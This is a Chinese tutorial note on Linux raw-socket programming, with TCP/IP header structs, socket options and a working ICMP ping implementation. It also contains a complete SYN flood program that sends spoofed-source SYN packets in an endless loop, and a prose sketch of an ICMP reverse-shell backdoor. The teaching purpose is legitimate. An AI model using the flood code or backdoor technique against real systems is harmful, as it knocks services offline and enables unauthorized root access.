Linux基础(11)原始套接字

               一边接收函数返回一边判断返回值时一定要把接收的优先级加()提高再去判断 例 if((sockfd = socket()) < 0)

问题: 如何实现SYN扫描器扫描端口 , 比如AB两个设备要进行连接 , A通过端口发一个SYN包给B,B在收到后返回一个ACK包确认连接 , 但是在不确定B端口号时

   该如何进行连接 , 答: A给B的每一个端都发一个SYN包, 如果哪个有返回说明端口是开放的, TCP和UDP都无法发实现这样的连接方式 , 所以要使用原始套接字


#include <netinet/ip.h>
#include <arpa/inet.h>
#include <linux/tcp.h>

 

struct iphdr {
#if defined(__LITTLE_ENDIAN_BITFIELD)
    __u8    ihl:4,
        version:4;
#elif defined(__BIG_ENDIAN_BITFIELD)
    __u8    version:4,
        ihl:4;
#else
#error    "Please fix <asm/byteorder.h>"
#endif
    __u8    tos;
    __u16    tot_len;
    __u16    id;
    __u16    frag_off;
    __u8    ttl;
    __u8    protocol;
    __u16    check;
    __u32    saddr;
    __u32    daddr;
    /*The options start here. */
};


struct tcphdr {
    __be16 source;
    __be16 dest;
    __be32 seq;
    __be32 ack_seq;
#if defined(__LITTLE_ENDIAN_BITFIELD)
    __u16 res1:4,
    doff:4,
    fin:1,
    syn:1,
    rst:1,
    psh:1,
    ack:1,
    urg:1,
    ece:1,
    cwr:1;
#elif defined(__BIG_ENDIAN_BITFIELD)
    __u16 doff:4,
    res1:4,
    cwr:1,
    ece:1,
    urg:1,
    ack:1,
    psh:1,
    rst:1,
    syn:1,
    fin:1;
    #else
    #error "Adjust your <asm/byteorder.h> defines"
    #endif
    __be16 window;
    __sum16 check;
    __be16 urg_ptr;
};


struct hostent{

    char * h_name;


    char ** h_aliases;


    short h_addrtype;


    short h_length;


    char ** h_addr_list;


    #define h_addr h_addr_list[0];  


};

  gethostbyname:  https://blog.csdn.net/daiyudong2020/article/details/51946080

  1.套接字: 使用内核提供的默认协议包 

    内核通过int socket( int af, int type, int protocol); 第三参数来决定要使用什么协议 , 第二参数是决定套接字的类型,SOCK_STREAM或SOCK_DGRAM等类型

                 而SOCK_STREAM默认是使用TCP协议 , 所以第三参数可以为0 默认使用TCP每个协议都一个协议对象 , 协议对象的结构:

struct socket {
    socket_state        state;
    kmemcheck_bitfield_begin(type);
    short            type;
    kmemcheck_bitfield_end(type);
    unsigned long        flags;
    struct socket_wq __rcu    *wq;
    struct file        *file;
    struct sock        *sk;
    const struct proto_ops    *ops;  //存放函数指针,例如*bind() *connect()等socket方法 , 针对不同的协议,其方法的实现也不同
};    

  2.原始套接字:  自行选择协议包  所有的原始套接字要使用root权限运行 , 原始套接字最重要的不是其编程方式, 是他的编程协议

      ls -al 查看全部文件的权限 , ls -l filename 查看指定文件或程序的权限

      linux在root权限下使用 chown root:root [file name] 进行修改文件的拥有者 , chmod u+s [file name] 文件可以在普通用户下临时提权运行

    socket( int af, int type, int protocol);要使用原始套接字第二参数要选SOCK_RAW

  3.套接字选项 : 设置选项setsockopt(struct socket *sock, int level, int optname,char *optval, unsigned int optlen)  获取选项getsockopt

    可以对socket进行更深入的操作比如开启广播和组播的开关等...level 和 optname是父子关系两个组合使用, optval 是指optname的状态

    比如level  = SOL_SOCKET 有设置广播开关 optname = SO_BROADCAST ,optval = 1开启 \ 0关闭 更能设置套接字的缓冲区及大小等操作

    具体使用看前述的 (05)笔记

    MAC ----> IP ----->TCP/UDP/ICMP------>DATA  TCP等,都是基于IP , 所以IP可以控制其本身及以上的报文

    MAC最底层 ,TCP/UDP层属于IP层的数据包, 如图 , 如果不打开IP层我们只能控制data层 但是我们打开了IP层可以通过IP层来控制TCP层协议和data层数据

    

    

   

    如果开启了IPPROTO_IP选项里的IP_HDRINCL, 那么IP层及IP层往上的数据和报文要自行组装了

    ip首部 : https://www.cnblogs.com/lancidie/archive/2013/05/16/3082378.html   https://www.cnblogs.com/red-code/p/7132023.html

  4.如何学习某一种协议 ,   

    静态的学习: 分析协议的结构, 比如ICMP 属于IP 的一部分和TCP一个级别 还有ICMP的组成的结构有那些作用和怎么设置

    

    动态的学习:  通过抓wireshak等抓包工具, 抓一个包, 分析其发送和返回的数据是什么类型type 及数据等等

  例子: dos拒绝访问攻击, 通过大量的端口扫描(不同的ip 不断的对目标端口发送SYN包)让被攻击的服务器过载,从而拒绝用户的访问

#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <linux/tcp.h>

//我们自己写的攻击函数
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport);
//如果什么都让内核做,那岂不是忒不爽了,咱也试着计算一下校验和。
unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char** argv){
        int skfd;
        struct sockaddr_in target;
        struct hostent *host;
        const int on=1;
        unsigned short srcport;

        if(argc!=4)
        {
                printf("Usage:%s target dstport srcport\n",argv[0]);
                exit(1);
        }

        //DNS协议解析
        bzero(&target,sizeof(struct sockaddr_in));
        target.sin_family=AF_INET;
        target.sin_port=htons(atoi(argv[2]));

        if(inet_aton(argv[1],&target.sin_addr)==0)
        {
                host=gethostbyname(argv[1]);
                if(host==NULL)
                {
                        printf("TargetName Error:%s\n",hstrerror(h_errno));
                        exit(1);
                }
                target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
        }

        //将协议字段置为IPPROTO_TCP,来创建一个TCP的原始套接字
        if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
                perror("Create Error");
                exit(1);
        }

        //用模板代码来开启IP_HDRINCL特性,我们完全自己手动构造IP报文
         if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
                perror("IP_HDRINCL failed");
                exit(1);
        }

        //因为只有root用户才可以play with raw socket :)
        setuid(getpid());

        srcport = atoi(argv[3]);
        attack(skfd,&target,srcport);
}

//在该函数中构造整个IP报文,最后调用sendto函数将报文发送出去
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport){
        char buf[128]={0};
        struct ip *ip;
        struct tcphdr *tcp;
        int ip_len;

        //在我们TCP的报文中Data没有字段,所以整个IP报文的长度
        ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
        //开始填充IP首部
        ip=(struct ip*)buf;

        ip->ip_v = IPVERSION;
        ip->ip_hl = sizeof(struct ip)>>2;
        ip->ip_tos = 0;
        ip->ip_len = htons(ip_len);
        ip->ip_id=0;
        ip->ip_off=0;
        ip->ip_ttl=MAXTTL;
        ip->ip_p=IPPROTO_TCP;
        ip->ip_sum=0;
        ip->ip_dst=target->sin_addr;

        //开始填充TCP首部
        tcp = (struct tcphdr*)(buf+sizeof(struct ip));
        tcp->source = htons(srcport);
        tcp->dest = target->sin_port;
        tcp->seq = random();
        tcp->doff = 5;
        tcp->syn = 1;
        tcp->check = 0;

        while(1){
                //源地址伪造,我们随便任意生成个地址,让服务器一直等待下去
                ip->ip_src.s_addr = random();
                tcp->check=check_sum((unsigned short*)tcp,sizeof(struct tcphdr));
                sendto(skfd,buf,ip_len,0,(struct sockaddr*)target,sizeof(struct sockaddr_in));
        }
}

unsigned short check_sum(unsigned short *addr,int len){
        register int nleft=len;
        register int sum=0;
        register short *w=addr;
        short answer=0;

        while(nleft>1)
        {
                sum+=*w++;
                nleft-=2;
        }
        if(nleft==1)
        {
                *(unsigned char *)(&answer)=*(unsigned char *)w;
                sum+=answer;
        }

        sum=(sum>>16)+(sum&0xffff);
        sum+=(sum>>16);
        answer=~sum;
        return(answer);
}

dos

  dos洪水攻击的实现是 , 利用TCP协议的三次握手原理 自己组一个IP头和TCP头,然后发送SYN包,且不接收ACK包 , 让目标服务器一直处于等待第三次握手状态

                                                     让目标服务器一直消耗端口资源



 5.ICMP协议 , ICMP(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。

   ICMP的结构及其值: https://blog.csdn.net/baidu_37964071/article/details/80514340

      

      

    

struct icmphdr

{ unsigned char icmp_type; //消息类型
unsigned char icmp_code; //代码
unsigned short icmp_checksum; //校验和
unsigned short icmp_id; //ID号
unsigned short icmp_sequence; //序列号
unsigned long icmp_TImestamp; //时间戳
} ICMP_HDR,*PICMP_HDR;

ICMP报文格式 https://network.51cto.com/art/201905/597141.htm

icmp校验和的计算 https://blog.csdn.net/zhj082/article/details/80518322

    如上图, 通过wireshaak抓了ping包的数据 , 和ICMP协议的选项一 一对应, 更可以通过ttl分析出目标及源的操作系统

    ICMP协议可以发送什么就返回什么 ,ping的实现也是基于ICMP协议

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <setjmp.h>
#include <errno.h>

#define PACKET_SIZE             4096
#define MAX_WAIT_TIME       5
#define MAX_NO_PACKETS      4
#define DATA_LEN            56

char sendpacket[PACKET_SIZE];
char recvpacket[PACKET_SIZE];

int nsend=0,nreceived=0;
struct timeval tvrecv;

struct sockaddr_in from;

void tv_sub(struct timeval *out,struct timeval *in)
{
    if( (out->tv_usec-=in->tv_usec)<0)
    {
        --out->tv_sec;
        out->tv_usec+=1000000;
    }
    out->tv_sec-=in->tv_sec;
}

void statistics(int signo)
{
    printf("\n--------------------PING statistics-------------------\n");
    printf("%d packets transmitted, %d received , %%%f lost\n",nsend,nreceived,(nsend-nreceived)*1.0/nsend*100);        

    exit(1);
}

//crc32的校验计算方法
unsigned short cal_chksum(unsigned short *addr,int len)
{
    int nleft=len;
    int sum=0;
    unsigned short *w=addr;
    unsigned short answer=0;        

    while(nleft>1)
    {
        sum+=*w++;
        nleft-=2;
    }

    if( nleft==1)
    {
        *(unsigned char *)(&answer)=*(unsigned char *)w;
        sum+=answer;
    }        

    sum=(sum>>16)+(sum&0xffff);
    sum+=(sum>>16);
    answer=~sum;        

    return answer;
}

/*****************************************************************************
 函 数 名  : pack
 功能描述  : 配置封装icmp包
 输入参数  :  int pack_no ,int pid
 输出参数  : 无
 返 回 值  : int
 调用函数  :
 被调函数  : 

 修改历史      :
  1.日    期   : 2019年12月11日 星期三
    作    者   : ljf
    修改内容   : 新生成函数

*****************************************************************************/
int pack( int pack_no ,int pid  )
{
    int i , packsize;
    struct icmp* m_icmp;
    struct timeval* tval;

    m_icmp = (struct icmp*)sendpacket;    //指向并设置全局的icmp包
    m_icmp->icmp_type = ICMP_ECHO;        //类型 :8 回应请求
    m_icmp->icmp_code = 0;                //代码
    m_icmp->icmp_cksum = 0;                //校验和
    m_icmp->icmp_seq = pack_no;            //序号,代表第几个包
    m_icmp->icmp_id = pid;                //id ,接收时确定哪个进程接收
    packsize = 8+DATA_LEN;                //8:timeval + data_len
    tval = (struct timeval*)m_icmp->icmp_data;
    gettimeofday(tval ,NULL);            //把当前时间填充到icmp_data里

    m_icmp->icmp_cksum = cal_chksum((unsigned short*)m_icmp , packsize);//校验和
    return packsize;
}

/*****************************************************************************
 函 数 名  : send_packet
 功能描述  : 发送封装好的icmp包
 输入参数  : int sockfd, int pid , struct sockaddr_in sockaddr
 输出参数  : 无
 返 回 值  : void
 调用函数  :
 被调函数  : 

 修改历史      :
  1.日    期   : 2019年12月11日 星期三
    作    者   : ljf
    修改内容   : 新生成函数

*****************************************************************************/
void send_packet( int sockfd, int pid , struct sockaddr_in dest_addr )
{
    int packetsize;
    while(nsend<MAX_NO_PACKETS)        //发送次数
    {
        nsend++;                    //也可用作icmp的序号
        packetsize = pack(nsend,pid);
        if ( sendto(sockfd,sendpacket,packetsize,0,(struct sockaddr*)&dest_addr,sizeof(dest_addr)) < 0 )
        {
            perror("sendto");
            continue;
        }
        sleep(1);
    }
}

/*****************************************************************************
 函 数 名  : unpack
 功能描述  : 解封icmp包
 输入参数  : char* buf,int len ,int pid
 输出参数  : 无
 返 回 值  : int
 调用函数  :
 被调函数  : 

 修改历史      :
  1.日    期   : 2019年12月11日 星期三
    作    者   : ljf
    修改内容   : 新生成函数

*****************************************************************************/
int unpack(char *buf,int len,int pid)
{
    int i,iphdrlen;
    struct ip *ip;
    struct icmp *icmp;
    struct timeval *tvsend;
    double rtt;  

    ip=(struct ip *)buf;
    iphdrlen=ip->ip_hl<<2;       

    icmp=(struct icmp *)(buf+iphdrlen);   

    len-=iphdrlen;
    if( len<8)
    {
        printf("ICMP packets\‘s length is less than 8\n");
        return -1;
    }     

    if( (icmp->icmp_type==ICMP_ECHOREPLY) && (icmp->icmp_id==pid) )
    {
        tvsend=(struct timeval *)icmp->icmp_data;
        tv_sub(&tvrecv,tvsend);
        rtt=tvrecv.tv_sec*1000+tvrecv.tv_usec/1000;
        printf("%d byte from %s: icmp_seq=%u ttl=%d rtt=%.3f ms\n",len,inet_ntoa(from.sin_addr),icmp->icmp_seq, ip->ip_ttl,rtt);
    }
    else
        return -1;
}

/*****************************************************************************
 函 数 名  : recv_packet
 功能描述  : 接收回应的icmp包
 输入参数  : int sockfd, int pid
 输出参数  : 无
 返 回 值  : void
 调用函数  :
 被调函数  : 

 修改历史      :
  1.日    期   : 2019年12月11日 星期三
    作    者   : ljf
    修改内容   : 新生成函数

*****************************************************************************/
void recv_packet(int sockfd,int pid)
{
    int n,fromlen;
    extern int errno;
    signal(SIGALRM,statistics);
    fromlen=sizeof(from);
    while( nreceived<nsend)
    {
        alarm(MAX_WAIT_TIME);
        if( (n=recvfrom(sockfd,recvpacket,sizeof(recvpacket),0,(struct sockaddr *)&from,&fromlen)) <0)
        {
            if(errno==EINTR)continue;
            perror("recvfrom error");
            continue;
        }
        gettimeofday(&tvrecv,NULL);
        if(unpack(recvpacket,n,pid)==-1)
            continue;
        nreceived++;
    }
}

/*****************************************************************************
 函 数 名  : main
 功能描述  : main
 输入参数  : int argc , char *argv[]
 输出参数  : 无
 返 回 值  : int
 调用函数  :
 被调函数  : 

 修改历史      :
  1.日    期   : 2019年12月8日 星期日
    作    者   : ljf
    修改内容   : 新生成函数

*****************************************************************************/
int main( int argc , char *argv[] )
{
    if ( argc < 2 )
    {
        perror("argv");
        exit(1);
    }

    int sockfd;                            //绑定协议
    struct sockaddr_in dest_addr;        //目标IP
    pid_t pid;                            //指定当前程序接收返回的icmp包
    struct hostent *host;                //用于保存目标IP,主机名和其别名
    int waittime = MAX_WAIT_TIME;        //超时时间
    int bufsize = 50*1024;                //改变缓冲区大小
    unsigned long inaddr = 0;            //转换IP用

    bzero(&dest_addr,sizeof(dest_addr));

    if ( (sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP)) < 0 )
    {
        perror("socket");
        exit(2);
    }

    setuid(getuid());        //确保在root权限下运行

    setsockopt(sockfd,SOL_SOCKET,SO_RCVBUF,&bufsize,sizeof(bufsize));    //改变接收缓冲区的大小

    //分配目标配置,开始进行和sockfd绑定
    dest_addr.sin_family = AF_INET;
    if ((inaddr = inet_addr(argv[1])) == INADDR_NONE )    //点分十进制的IP转换成长整型接收并判断是否有效
    {
        if ((host = gethostbyname(argv[1])) == NULL)    //解析域名,获得目标的IP并保存
        {
            perror("gethostbyname");
            exit(3);
        }
        //把获取到的目标host->h_addr_list的第一个[0]赋值给sockaddr.sin_addr
        memcpy((char*)&(dest_addr.sin_addr),host->h_addr,host->h_length);
    }
    else{
        //到了这里说明输入的是一个有效的IP , 将转换成长整型的argv[1]赋值给dest_addr.sin_addr
        memcpy((char*)&(dest_addr.sin_addr),(char*)&inaddr,sizeof(inaddr));
    }
    printf("ping %s: %s , ICMP bytes: %d\n", argv[1],inet_ntoa(dest_addr.sin_addr),DATA_LEN);

    pid = getpid();    //获得当前进程用于让返回的ICMP包返回给当前进程

    send_packet(sockfd,pid,dest_addr);
    recv_packet(sockfd,pid);
    statistics(SIGALRM);
    close(sockfd);
    return 0;
}

MyIcmp_ping

    ICMP反弹shell木马程序可以利用ping包给已经种了一个后门(通过一种暗号确定是否要接收的ping包)的目标服务器发送一个ping包,通过data里的TCP回连让原始套接字必须root权限执行的特点,返回目标服务器的shell , 从而获得root权限的shell , 因为一般的服务器有防火墙不让服务器往外连接 , 所以也可以通过其同一局域网,且不被防火墙拦截的PC作为跳板获取目标服务器的shell



总结: 原始套接字是基于内核提供的协议对象(比如 IP ,TCP ,ICMP协议) , 使用setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on(=1),sizeof(on)) , 可以自行手动构造IP及以上的报文 , 如果不需要手动构造IP报文, 可以不开启IP_HDRINCL, 只需创建并填充IP之上的协议对象(比如ICMP)和data即可 , 填充好协议对象后通过sendto对目标进行发送(协议和data封装在一起的)数据包 , 如需要接收data , 则可以通过recvfrom接收后 创建和发送端对等的协议对象,并对数据包里的data进行操作

        原始套接字最重要的还是对协议的理解及使用

原文地址:https://www.cnblogs.com/yxnrh/p/11967602.html

时间: 2024-08-27 18:27:01

Linux基础(11)原始套接字的相关文章

Linux网络编程——原始套接字实例:简单版网络数据分析器

通过<Linux网络编程--原始套接字编程>得知,我们可以通过原始套接字以及 recvfrom( ) 可以获取链路层的数据包,那我们接收的链路层数据包到底长什么样的呢? 链路层封包格式 MAC 头部(有线局域网) 注意:CRC.PAD 在组包时可以忽略 链路层数据包的其中一种情况: unsigned char msg[1024] = { //--------------组MAC--------14------ 0xb8, 0x88, 0xe3, 0xe1, 0x10, 0xe6, // dst

Linux网络编程——原始套接字实例:MAC 头部报文分析

通过<Linux网络编程——原始套接字编程>得知,我们可以通过原始套接字以及 recvfrom( ) 可以获取链路层的数据包,那我们接收的链路层数据包到底长什么样的呢? 链路层封包格式 MAC 头部(有线局域网) 注意:CRC.PAD 在组包时可以忽略 链路层数据包的其中一种情况: 1 unsigned char msg[1024] = { 2 //--------------组MAC--------14------ 3 0xb8, 0x88, 0xe3, 0xe1, 0x10, 0xe6,

原始套接字基础(原始套接字系列二)

在进入Raw Socket多种强大的应用之前,我们先讲解怎样建立一个Raw Socket及怎样用建立的Raw Socket发送和接收IP包. 建立Raw Socket 在Windows平台上,为了使用Raw Socket,需先初始化WINSOCK: // 启动 WinsockWSAData wsaData;if (WSAStartup(MAKEWORD(2, 1), &wsaData) != 0){ cerr << "Failed to find Winsock 2.1 or

Linux 网络编程——原始套接字实例:MAC 地址扫描器

如果 A (192.168.1.1 )向 B (192.168.1.2 )发送一个数据包,那么需要的条件有 ip.port.使用的协议(TCP/UDP)之外还需要 MAC 地址,因为在以太网数据包中 MAC 地址是必须要有的.那么怎样才能知道对方的 MAC 地址?答案是:它通过 ARP 协议来获取对方的 MAC 地址. ARP(Address Resolution Protocol,地址解析协议),是 TCP/IP 协议族中的一个,主要用于查询指定 ip 所对应的的 MAC(通过 ip 找 MA

Linux网络编程——原始套接字编程

原始套接字编程和之前的 UDP 编程差不多,无非就是创建一个套接字后,通过这个套接字接收数据或者发送数据.区别在于,原始套接字可以自行组装数据包(伪装本地 IP,本地 MAC),可以接收本机网卡上所有的数据帧(数据包).另外,必须在管理员权限下才能使用原始套接字. 原始套接字的创建: int socket ( int family, int type, int protocol ); 参数: family:协议族 这里写 PF_PACKET type:  套接字类,这里写 SOCK_RAW pr

Linux 网络编程——原始套接字实例:发送 UDP 数据包

以太网报文格式: 详细的说明,请看<MAC 头部报文分析>. IP 报文格式: 详细的说明,请看<IP 数据报格式详解>. UDP 报文格式: 详细的说明,请看<UDP 数据报格式详解>. 校验和函数: /******************************************************* 功能: 校验和函数 参数: buf: 需要校验数据的首地址 nword: 需要校验数据长度的一半 返回值: 校验和 ********************

Linux网络编程——原始套接字能干什么?

通常情况下程序员接所接触到的套接字(Socket)为两类: (1)流式套接字(SOCK_STREAM):一种面向连接的 Socket,针对于面向连接的TCP 服务应用: (2)数据报式套接字(SOCK_DGRAM):一种无连接的 Socket,对应于无连接的 UDP 服务应用. 从用户的角度来看,SOCK_STREAM.SOCK_DGRAM 这两类套接字似乎的确涵盖了 TCP/IP 应用的全部,因为基于 TCP/IP 的应用,从协议栈的层次上讲,在传输层的确只可能建立于 TCP 或 UDP 协议

LINUX 网络编程 原始套接字

一 原始套接字 原始套接字(SOCK_RAW)是一种不同于SOCK_STREAM.SOCK_DGRAM的套接字,它实现于系统核心.然而,原始套接字能做什么呢?首先来说,普通的套接字无法处理ICMP.IGMP等网络报文,而SOCK_RAW可以:其次,SOCK_RAW也可以处理特殊的IPv4报文:此外,利用原始套接字,可以通过IP_HDRINCL套接字选项由用户构造IP头.总体来说,SOCK_RAW可以处理普通的网络报文之外,还可以处理一些特殊协议报文以及操作IP层及其以上的数据. 既然SOCK_R

Linux Socket 原始套接字编程

对于linux网络编程来说,可以简单的分为标准套接字编程和原始套接字编程,标准套接字主要就是应用层数据的传输,原始套接字则是可以获得不止是应用层的其他层不同协议的数据.与标准套接字相区别的主要是要开发之自己构建协议头.对于原始套接字编程有些细节性的东西还是需要注意的. 1. 原始套接字创建 原始套接字的编程和udp网络编程的流程有点类似,但是原始套接字编程中不需要bind操作,因为在数据接收和发送过程中使用sendto和recvfrom函数实现数据的接收和发送.不过不是说原始套接字不能使用bin